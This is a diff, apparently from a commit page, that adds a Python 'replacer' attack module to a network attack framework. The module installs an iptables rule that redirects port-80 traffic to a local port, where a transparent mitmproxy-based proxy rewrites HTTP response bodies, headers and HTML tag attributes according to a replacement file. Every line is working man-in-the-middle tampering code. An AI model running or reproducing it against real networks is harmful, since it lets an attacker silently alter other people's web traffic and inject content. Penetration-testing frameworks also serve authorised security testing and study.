|
| 1 | +from attack import Attack |
| 2 | +from libmproxy import controller, proxy, platform |
| 3 | +from zoption import Zoption |
| 4 | +from threading import Thread |
| 5 | +from os import getcwd |
| 6 | +from HTMLParser import HTMLParser |
| 7 | +import re |
| 8 | +import util |
| 9 | + |
| 10 | +class replacer(Attack): |
| 11 | + def __init__(self): |
| 12 | + super(replacer, self).__init__("Replacer") |
| 13 | + self.replace_regex = {} # structure of {'match':'replace'} |
| 14 | + self.replace_tags = {} |
| 15 | + self.hooker = None |
| 16 | + self.proxy_server = None |
| 17 | + self.iptable = "iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 5544" |
| 18 | + self.config.update({"replace_file":Zoption(type="file", |
| 19 | + value = getcwd() + '/config/replacements', |
| 20 | + required = True, |
| 21 | + display = "File containing replace matches") |
| 22 | + }) |
| 23 | + self.info = """ |
| 24 | + Replacer is an HTTP find and replace module. All HTTP traffic |
| 25 | + accessible by zarp may be modified. |
| 26 | +
|
| 27 | + This will load the defined file, parse it, and listen for all traffic |
| 28 | + on the local interface. Content-Length header is automatically updated, |
| 29 | + and the find/replace matches affect both the body and the headers. Review |
| 30 | + the config file at config/replacements for information regarding formatting. |
| 31 | + """ |
| 32 | + |
| 33 | + def modip(self, enable=True): |
| 34 | + """ Enable or disable the iptable rule |
| 35 | + """ |
| 36 | + if enable: |
| 37 | + util.init_app(self.iptable) |
| 38 | + else: |
| 39 | + util.init_app(self.iptable.replace('-A', '-D')) |
| 40 | + |
| 41 | + def initialize(self): |
| 42 | + self.load_file() |
| 43 | + if (len(self.replace_regex) + len(self.replace_tags)) <= 0: |
| 44 | + util.Error("No matches loaded.") |
| 45 | + return False |
| 46 | + |
| 47 | + self.modip() |
| 48 | + |
| 49 | + self.running = True |
| 50 | + config = proxy.ProxyConfig(transparent_proxy = dict( |
| 51 | + resolver = platform.resolver(), |
| 52 | + sslports = [443]) |
| 53 | + ) |
| 54 | + |
| 55 | + config.skip_cert_cleanup = True |
| 56 | + self.proxy_server = proxy.ProxyServer(config, 5544) |
| 57 | + self.hooker = Hooker(self.proxy_server, self.replace_regex, |
| 58 | + self.replace_tags) |
| 59 | + |
| 60 | + util.Msg("Launching replacer...") |
| 61 | + thread = Thread(target=self.hooker.run) |
| 62 | + thread.start() |
| 63 | + |
| 64 | + return True |
| 65 | + |
| 66 | + def shutdown(self): |
| 67 | + util.Msg("Shutting down replacer...") |
| 68 | + self.modip(False) |
| 69 | + self.proxy_server.shutdown() |
| 70 | + self.hooker.shutdown() |
| 71 | + |
| 72 | + def load_file(self): |
| 73 | + """ Load the defined file and attempt to build the struct |
| 74 | + """ |
| 75 | + with open(self.config['replace_file'].value, 'r') as f: |
| 76 | + lines = f.readlines() |
| 77 | + for line in lines: |
| 78 | + if (len(line) > 0 and line[0] == '#') or len(line) <= 2: |
| 79 | + continue |
| 80 | + |
| 81 | + cut = line.split(" = ") |
| 82 | + if len(cut) < 2 or len(cut) > 2: |
| 83 | + util.Error("Incorrect formatting for line '%s'" % cut) |
| 84 | + else: |
| 85 | + try: |
| 86 | + if cut[0][0] == '1': |
| 87 | + # this is a regex entry, parse and try to compile it |
| 88 | + tmp = re.compile(cut[0][2:]) |
| 89 | + self.replace_regex[cut[0][2:]] = cut[1].rstrip('\n') |
| 90 | + elif cut[0][0] == '2': |
| 91 | + # |
| 92 | + # this is a tag, split it out and build a dictionary. |
| 93 | + # The dictionary is essentially: |
| 94 | + # {'outer' : {'attribute' : 'replacement'}} |
| 95 | + # Each outer tag may have multiple attributes for |
| 96 | + # replacement. |
| 97 | + # |
| 98 | + tags = cut[0][2:].split(' ') |
| 99 | + |
| 100 | + if tags[0] in self.replace_tags: |
| 101 | + self.replace_tags[tags[0]][tags[1]] = cut[1].rstrip('\n') |
| 102 | + else: |
| 103 | + self.replace_tags[tags[0]] = {} |
| 104 | + self.replace_tags[tags[0]][tags[1]] = cut[1].rstrip('\n') |
| 105 | + except: |
| 106 | + util.Error("Incorrect regex: '%s'" % cut[0][2:]) |
| 107 | + util.Msg("Loaded %s matches" % (len(self.replace_regex) + len(self.replace_tags))) |
| 108 | + return True |
| 109 | + |
| 110 | + def session_view(self): |
| 111 | + """ Return the number of loaded matches |
| 112 | + """ |
| 113 | + return "%d regex values loaded." % (len(self.replace_regex) + len(self.replace_tags)) |
| 114 | + |
| 115 | +class HTMLHooker(HTMLParser): |
| 116 | + """ Parsing and modifying HTML is much easier with the HTMLParser. |
| 117 | + This handles parsing tags. |
| 118 | + """ |
| 119 | + def __init__(self, match): |
| 120 | + HTMLParser.__init__(self) |
| 121 | + self.match = match |
| 122 | + self.data = {} |
| 123 | + |
| 124 | + def handle_starttag(self, tag, attrs): |
| 125 | + for key in self.match.keys(): |
| 126 | + if key == tag: |
| 127 | + for itag in self.match[key].keys(): |
| 128 | + # iterate through attribute tags to see if any match |
| 129 | + for tag_atts in attrs: |
| 130 | + if tag_atts[0] == itag: |
| 131 | + if itag not in self.data.keys(): |
| 132 | + self.data[itag] = [] |
| 133 | + if tag_atts[1] not in self.data[itag]: |
| 134 | + self.data[itag].append(tag_atts[1]) |
| 135 | + break |
| 136 | + |
| 137 | +class Hooker(controller.Master): |
| 138 | + """ Listens for and parses HTTP traffic |
| 139 | + """ |
| 140 | + def __init__(self, server, rep_regex, rep_tags): |
| 141 | + controller.Master.__init__(self, server) |
| 142 | + self.rep_regex = rep_regex |
| 143 | + self.rep_tags = rep_tags |
| 144 | + |
| 145 | + def run(self): |
| 146 | + try: |
| 147 | + return controller.Master.run(self) |
| 148 | + except: |
| 149 | + self.shutdown() |
| 150 | + |
| 151 | + def handle_response(self, msg): |
| 152 | + """ Iterate through the response and replace values |
| 153 | + """ |
| 154 | + for match in self.rep_regex: |
| 155 | + msg.replace(match, self.rep_regex[match]) |
| 156 | + |
| 157 | + # modify the DOM |
| 158 | + try: |
| 159 | + for tag in self.rep_tags.keys(): |
| 160 | + tmp = {} |
| 161 | + tmp[tag] = self.rep_tags[tag] |
| 162 | + parser = HTMLHooker(tmp) |
| 163 | + parser.feed(msg.get_decoded_content()) |
| 164 | + for entry in parser.data.keys(): |
| 165 | + for data_entry in parser.data[entry]: |
| 166 | + rep_entry = self.rep_tags[tag][entry] |
| 167 | + msg.replace(data_entry, rep_entry) |
| 168 | + except Exception, e: |
| 169 | + util.debug(e) |
| 170 | + msg.reply() |
0 commit comments